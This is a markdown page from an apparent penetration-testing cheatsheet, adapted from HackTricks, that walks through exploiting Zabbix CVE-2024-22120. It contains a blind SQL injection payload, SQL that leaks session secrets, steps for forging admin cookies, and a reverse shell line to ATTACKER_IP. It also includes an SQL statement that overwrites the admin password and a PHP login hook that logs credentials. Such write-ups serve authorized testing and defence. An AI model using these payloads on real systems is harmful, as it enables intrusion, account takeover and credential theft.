daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

zabbix.md (10848B)


      1 ---
      2 title: "Zabbix Security"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/zabbix.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/zabbix.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Zabbix Security
     14 
     15 ## Overview
     16 
     17 Zabbix is a monitoring platform with a web frontend (often behind Apache or Nginx), a server/trapper that commonly listens on TCP/10051, and agents that commonly listen on TCP/10050. During an authorized assessment, you may encounter:<sup>[[5]](#references)</sup>
     18 
     19 - Web UI: HTTP(S) virtual host like zabbix.example.tld
     20 - Zabbix server port: 10051/tcp (messages commonly use JSON inside `ZBXD\x01` framing)
     21 - Zabbix agent port: 10050/tcp
     22 
     23 The `zbx_session` implementation used by the affected versions and public PoC is a Base64-encoded compact JSON object containing fields such as `sessionid`, `serverCheckResult`, `serverCheckTime`, and `sign`. Treat the precise fields, canonicalization, and signing algorithm as version-specific and confirm them against the deployed frontend code.<sup>[[1]](#references)[[2]](#references)</sup>
     24 
     25 ## zbx_session cookie internals
     26 
     27 The vulnerable-version workflow documented by the public research computes the cookie as follows:
     28 
     29 - data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
     30 - sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
     31 - Final cookie: Base64(JSON_with_sign)
     32 
     33 If you recover the corresponding global `session_key` and a still-valid administrative `sessionid`, this format can be used to forge an administrative cookie offline. A different frontend version or invalidated session may require a different structure.<sup>[[1]](#references)[[2]](#references)</sup>
     34 
     35 ## CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log
     36 
     37 Affected versions (as publicly documented):
     38 
     39 - 6.0.0–6.0.27, 6.4.0–6.4.12, and the 7.0 prereleases from 7.0.0alpha1 through 7.0.0beta1. The vendor issue records fixes in 6.0.28rc1, 6.4.13rc1, and 7.0.0beta2.<sup>[[3]](#references)[[4]](#references)</sup>
     40 
     41 Vulnerability summary:
     42 
     43 - When a configured script execution is recorded in the Zabbix server audit log, the `clientip` value reaches an SQL statement without the necessary sanitization, enabling time-based blind SQL injection.<sup>[[3]](#references)[[4]](#references)</sup>
     44 - The vendor's reproduction uses a crafted `command` request to port 10051 with an authenticated session, a host that the user can access, and a script that the user is permitted to run. Zabbix's CVSS assessment classifies the prerequisite as high privileges, while NVD scores it as low privileges; test the actual role, host, and script permissions rather than assuming either classification applies to every installation.<sup>[[3]](#references)[[4]](#references)</sup>
     45 
     46 Preconditions and discovery tips:
     47 
     48 - `sessionid`: Decode the authenticated user's `zbx_session` cookie when its version uses the JSON format above. A guest identifier is usable only when guest access is enabled and the guest is actually issued a session with the required access.
     49 - `hostid`: Obtain an accessible host identifier from frontend requests such as **Monitoring → Hosts**. Values such as `10084` are lab-specific examples, not universal defaults.
     50 - `scriptid`: Verify the scripts exposed to the current user through the menu or frontend requests. Values such as `1`, `2`, and `3` are lab-specific; authorization depends on the script's user group, host group, host-access requirement, and scope.<sup>[[6]](#references)</sup>
     51 
     52 ### Exploitation flow
     53 
     54 1) Trigger audit insert with SQLi in clientip
     55 
     56 - Connect to TCP/10051 and send a Zabbix framed message with request="command" including sid, hostid, scriptid, and clientip set to a SQL expression that will be concatenated by the server and evaluated.
     57 
     58 Minimal message (JSON body) fields:
     59 
     60 ```json
     61 {
     62   "request": "command",
     63   "sid": "<low-priv-sessionid>",
     64   "scriptid": "1",
     65   "clientip": "' + (SQL_PAYLOAD) + '",
     66   "hostid": "10084"
     67 }
     68 ```
     69 
     70 For these versions, the full wire format is `ZBXD\x01` followed by an 8-byte little-endian payload length and the UTF-8 JSON body. You can use pwntools or a socket client to construct it.<sup>[[5]](#references)</sup>
     71 
     72 2) Time-bruteforce secrets via conditional sleep
     73 
     74 Use conditional expressions to leak hex-encoded secrets one character at a time by measuring response time. The following expressions target the MySQL-compatible schema used in the referenced lab and PoC; adjust functions and schema names for the target database and version:<sup>[[1]](#references)[[2]](#references)</sup>
     75 
     76 - Leak global session_key from config:
     77 
     78 ```sql
     79 (select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
     80 ```
     81 
     82 - Leak a candidate administrative session ID from `sessions` (the `userid=1` assumption is lab-specific):
     83 
     84 ```sql
     85 (select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
     86 ```
     87 
     88 Notes:
     89 
     90 - charset: 32 hex chars [0-9a-f]
     91 - Pick `T_TRUE` much greater than `T_FALSE` (for example, 10 versus 1) and measure wall-clock time per attempt
     92 - Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
     93 
     94 3) Forge Admin cookie
     95 
     96 For the cookie format described above, once you have:
     97 
     98 - session_key: 32-hex from config.session_key
     99 - `admin_sessionid`: a current 32-hex session identifier for the intended administrative account
    100 
    101 Compute:
    102 
    103 - sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
    104 - zbx_session = Base64(JSON_with_sign)
    105 
    106 Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.
    107 
    108 ### Ready-made tooling
    109 
    110 - Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.<sup>[[1]](#references)[[2]](#references)</sup>
    111 - Parameters to provide typically include: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, and optionally a known --admin-sid to skip brute.
    112 
    113 ## RCE via Script execution (post-Admin)
    114 
    115 Administrative frontend access alone does not guarantee operating-system command execution. The user must be able to create or run an applicable global script, its **Execute on** target must run commands, and the corresponding component must permit them. Agent execution normally requires an appropriate `AllowKey=system.run[...]`; proxy execution requires its remote-command setting; and new Zabbix 7.0 installations set `EnableGlobalScripts=0` for server-side global scripts by default. When those prerequisites are present, script execution can yield code execution on monitored systems, often as the `zabbix` account on Linux.<sup>[[1]](#references)[[6]](#references)</sup>
    116 
    117 - Quick check: run id to confirm user context
    118 - Reverse shell example:
    119 
    120 ```bash
    121 bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
    122 ```
    123 
    124 TTY upgrade (Linux):
    125 
    126 ```bash
    127 script /dev/null -c bash
    128 # background with Ctrl+Z, then on attacker terminal:
    129 stty raw -echo; fg
    130 reset
    131 ```
    132 
    133 In the referenced lab, direct database access also allowed the administrative password to be changed to the shown bcrypt value for `zabbix`:
    134 
    135 ```sql
    136 UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
    137 ```
    138 
    139 This is a destructive, schema-specific post-compromise technique: back up the affected row, verify the username column and account, and expect MFA or external authentication to remain an additional barrier. Prefer creating a temporary, audited recovery account through supported administration procedures when possible.
    140 
    141 ## Credential capture via login hook (post-exploitation)
    142 
    143 If file write is already possible on the web server, the referenced lab temporarily added the following logging snippet to `/usr/share/zabbix/index.php` around the form-login branch. This is an intrusive post-compromise credential-capture technique: use it only with explicit authorization, protect the output, and restore the original file immediately after testing.<sup>[[1]](#references)</sup>
    144 
    145 ```php
    146 // login via form
    147 if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
    148   $user = $_POST['name'] ?? '??';
    149   $password = $_POST['password'] ?? '??';
    150   $f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
    151   CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
    152 }
    153 ```
    154 
    155 Users authenticate normally; read `/dev/shm/creds.txt` afterward and remove the hook. File paths and login code differ across packages and versions.
    156 
    157 ## Pivoting to internal services
    158 
    159 Where SSH key authentication and TCP forwarding are accepted for the compromised account, `-N -L` may allow forwarding to loopback-only services (for example, CI/CD on port 8111) even when the account is not intended for interactive shells. An `/usr/sbin/nologin` shell, `AllowTcpForwarding`, `DisableForwarding`, `PermitOpen`, key restrictions, or PAM policy can prevent this path, so verify the SSH policy rather than assuming it works:<sup>[[1]](#references)</sup>
    160 
    161 ```bash
    162 ssh -i key user@host -N -L 8111:127.0.0.1:8111
    163 ```
    164 
    165 See more tunneling patterns in: Check [Tunneling and Port Forwarding](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/tunneling-and-port-forwarding.md).
    166 
    167 ## Operational tips
    168 
    169 - Validate that `scriptid` is permitted for the current role; guest access does not imply permission to run a script
    170 - A timing attack can be slow; cache a recovered administrative session only while it remains valid
    171 - The JSON sent to 10051 must be framed with the ZBXD\x01 header and a little-endian length
    172 
    173 ## References
    174 
    175 - [1] [HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot](https://0xdf.gitlab.io/2025/10/09/htb-watcher.html)
    176 - [2] [CVE-2024-22120-RCE toolkit (PoC scripts)](https://github.com/W01fh4cker/CVE-2024-22120-RCE)
    177 - [3] [Zabbix ZBX-24505 — Time Based SQL Injection in Zabbix Server Audit Log](https://support.zabbix.com/browse/ZBX-24505)
    178 - [4] [NVD — CVE-2024-22120](https://nvd.nist.gov/vuln/detail/CVE-2024-22120)
    179 - [5] [Zabbix protocol header documentation](https://www.zabbix.com/documentation/current/en/manual/appendix/protocols/header_datalen)
    180 - [6] [Zabbix documentation — Global scripts](https://www.zabbix.com/documentation/current/en/manual/web_interface/frontend_sections/alerts/scripts)